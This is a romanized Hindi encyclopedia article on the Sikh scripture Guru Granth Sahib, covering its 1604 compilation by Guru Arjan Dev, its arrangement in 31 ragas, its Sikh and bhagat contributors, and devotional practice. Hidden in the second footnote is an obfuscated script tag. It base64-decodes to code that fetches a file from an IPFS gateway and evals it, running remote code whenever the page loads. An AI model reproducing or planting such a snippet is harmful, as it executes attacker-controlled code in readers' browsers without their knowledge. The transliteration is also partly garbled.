गुरु ग्रंथ साहिब
250px|thumb|guru granth sahib guru granth sahib sikkh dharm ka ek pramukh pavitr granth hai. is granth ko 'adigranth' ke nam se bhi jana jata hai. yah granth sikkhoan ka shraddhey dharmagranth hai. guru granth sahib ke pratham sangrahakarta paanchavean guru arjun dev ji hue the, unake bad bhaee gurudas isake sampadak hue.
- 16 agast, 1604 ee. ko harimandir sahib, amritasar mean guru granth sahib ki sthapana huee thi.
- 1705 ee. mean 'damadama sahib' mean guru goviand sianh ne guru tegabahadur ke 116 shabdoan ko aur jo dakar is granth ko poorn kiya.
- is granth me kul 1430 prishth haian. matr sikkh guruoan ke hi nahian, apitu 30 any hindoo aur muslim bhaktoan ki vaniyaan bhi is granth mean haian.
- guru granth sahib mean jahaan jayadev aur paramanand ke saman brahman bhaktoan ki vaniyaan haian, vahian doosari or jati-paanti ke bhedabhav se grast tatkalin samaj mean hey samajhi jane vali jatiyoan ki divy atmaoan, jaise- kabir, ravidas, namadev, saghana aur dhanna adi ki bhi vaniyaan samahit hai.
- shekh farid, jo ki paanchoan samay ki namaz padhane mean yakin karate the, unake bhi kee shlok guru granth sahib mean shamil haian.
- is granth ki bhasha b di hi saral, subodh, satik aur jan-samuday ko akarshit karane vali hai.
adigranth
sikhoan ka pavitr dharmagranth jise unake paanchavean guru arjunadev ne sanh 1604 ee. mean sangrihit karaya tha aur jise sikh dharmanuyayi 'guroogranth sahib ji' bhi kahate evan guruvath manakar sammanit kiya karate haian. 'adigranth' ke aantargat sikhoan ke pratham paanch guruoan ke atirikt unake navean guru or 14 'bhagatoan' ki baniyaan ati haian. aisa koee sangrah sanbhavat: guru nanakadev ke samay se hi taiyar kiya jane laga tha aur guru amaradas ke putr mohan ke yahaan pratham char guruoan ke patradi surakshit bhi rahe, jinhean paanchavean guru ne unase lekar pun: kramabaddh kiya tatha unamean apani or kuchh 'bhagatoan' ki bhi baniyaan sammilit karake sabako bhaee gurudas dvara gurumukhi mean lipibaddh kara diya. bhaee bannoan ne phir usi ki pratilipi kar usamean katipay any logoan ki bhi rachanaean mila deni chahian jo pichhe svikrit n katipay any logoan ki bhi rachanaean goviandasianh ne usaka ek tisara 'bi d' (sanskaran) taiyar karaya jisamean, navam guru ki kritiyoan ke sath-sath, svayan unake bhi ek 'salok' ko sthan diya gaya. usaka yahi roop aj bhi vartaman samajha jata hai. isaki keval ekadh aantim rachanaoan ke vishay mean hi yah kahana kathin hai ki ve kab aur kis prakar jo d di gee.
'granth' ki pratham paanch rachanaean kramash: (1) 'japunisanu' (japuji), (2) 'sodaroo' mahala1, (3) 'sunib da' mahala1, (4) 'so purashu', mahala 4 tatha (5)sohila mahala1 ke namoan se prasiddh haian aur inake anantar 'sirirag'adi 31 ragoan mean vibhakt pad ate haian jinamean pahale sikhaguroooan ki rachanaean unake (mahala1,mahala2 adi ke) anusar sangrihit haian. inake anantar bhagatoan ke pad rakhe ge haian, kiantu bich-bich mean kahian-kahian 'barahamasa', 'thianti', 'dinaraini', 'ghodiaan', 'siddh goshthi', 'karahale', 'birahade', 'sukhamani' adi jaisi katipay chhoti b di vishisht rachanaean bhi jo d di gee haian jo sadharan lokagitoan ke kavyaprakar udahat karati haian. un raganusar kramabaddh padoan ke anantar salok sahas kriti, 'gatha' mahala 5, 'phunahe' mahala 5, chubolean mahala 5, savaie simukh vakh mahala 5 aur mudavani mahala 5 ko sthan mila hai aur sabhi ke aant mean ek ragamala bhi de di gee hai. in kritiyoan ke bich-bich mean bhi yadi kahian kabir evan shekh pharid ke 'salok' sangrihit haian to anyatr kinhian 11 padoan dvara nirmit ve stutiyaan di gee haian jo sikh guruoan ki prashansa mean kahi gee haian or jinaki sankhya bhi kam nahian hai. 'granth' mean sangrihit rachanaean bhashavaividhy ke karan kuchh vibhinn lagati huee bhi, adhikatar samanjasy evan ekaroopata ke hi udaharan prastut karati haian.
adigranth ko kabhi kabhi 'gurubani' matr bhi kah dete haian, kiantu apane bhaktoan ki drishti mean vah sada shariri guroosvaroop hai. at: guroo ke saman use svachchh reshami vastroan mean veshtit karake chaandani ke niche kisi ooanchi gaddi par 'padharaya' jata hai, usapar chanvar dhalate haian, pushpadi chadhate haian, usaki arati utarate haian tatha usake samane naha dhokar jate aur shraddhapoorvak pranam karate haian. kabhi-kabhi usaki shobhayatra bhi nikali jati hai tatha sada usake anusar chalane ka prayatn kiya jata hai. granth ka kabhi saptahik tatha kabhi akhand path karate haian aur usaki panktiyoan ka kuchh uchcharan us samay bhi kiya karate haian jab kabhi balakoan ka namakaran kiya jata hai, use diksha di jati hai tatha vivahadi ke mangalotsav ate haian athava shavasanskar kie jate haian. vishisht chhoti b di rachanaoan ke path ke lie prat: kal, sayankal, shayanavela jaise upayukt samay nishchit haian or yadyapi pramukh sangrihit rachanaoan ke vishay pradhanat: darshanik siddhaant, adhyatmik sadhana evan stutigan se hi sanbandh rakhate jan p date haian, isamean sandeh nahian ki 'adi granth' dvara sikhoan ka poora dharmik jivan prabhavit hai. guru goviandasianh ka ek sangrahagranth 'dasavaan granth' nam se prasiddh hai jo 'adigranth' se prithak evan sarvatha bhinn hai.[1]
guruoan ki vani
guru granth sahib mean jise 'adigranth' bhi kahate haian, chhah sikkh guruoan ki vani sangrahit hai. paanchavean guru arjunadev ne adiguru nanakadev ki vani se lekar apani nij ki bani tak ka sangrah karakar bhaee gurudas ke dvara ise gurumukhi lipi mean likhavaya tha. yahi mahanh granth 'guru granth sahib' ya 'adigranth' ke nam se prasiddh hua. adigranth ka sankalan bhadoan sudi shak sanvath 1661 ko poorn hua tha.[2]
guru nanak ke bad jin guruoan ne samay-samay par rachanayean kian, unhoanne namratavash aant mean apana nam n dekar sab jagah nanak hi nam diya hai. kaun-si rachana kis guru ki hai yah kathinaee dekhakar guru arjunadev ne un rachanaoan ke oopar 'mahala 1', 'mahala 2', 'mahala 3', adi sanket likha die. isaka arth yah hua ki mahala 1 guru nanak dev ki bani hai, mahala 2 guru aangad ki. adi granth mean jayadev, kabir, raidas, shekh pharid adi bhaktoan ki chuni huee baniyaan bhi shamil ki gee haian. granth mean in sab baniyoan ko guruoan ke kramanusar n dekar 31 ragoan ke anusar sankalit kiya gaya hai. kiantu nanak rachit 'japuji' tatha kuchh any rachanaoan ko ragoan mean nahian baandha gaya.
bhasha
gurugranth sahib mean bhasha ki vividhata hai. guru nanak, aangad aur ramadas ki rachanaean panjabi bhasha bahul haian. guru tegabahadur ki sari rachanaean hiandi mean haian. guru nanak ke nam se hiandi pady sangrahoan mean jitane bhi pady milate haian unamean se adhikaansh navean guru tegabahadur ke rache hue batae jate haian. guru granth sahib ka sthan sikkh dharm mean sarvopari aur guru ke saman hai.
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tika tippani aur sandarbh
- ↑ san.gran.-dankan grinales: di g aauspel aauv di guroo granthasahab; khushavantasianh: 'di sikkhs'; parashuram chaturvedi: uttari bharat ki sant paranpara.
- ↑ bharatiy sanskriti kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: rajapal eand sanj, madarasa rod, kashmiri get, dilli |sankalan: bharatakosh pustakalay |prishth sankhya: 287 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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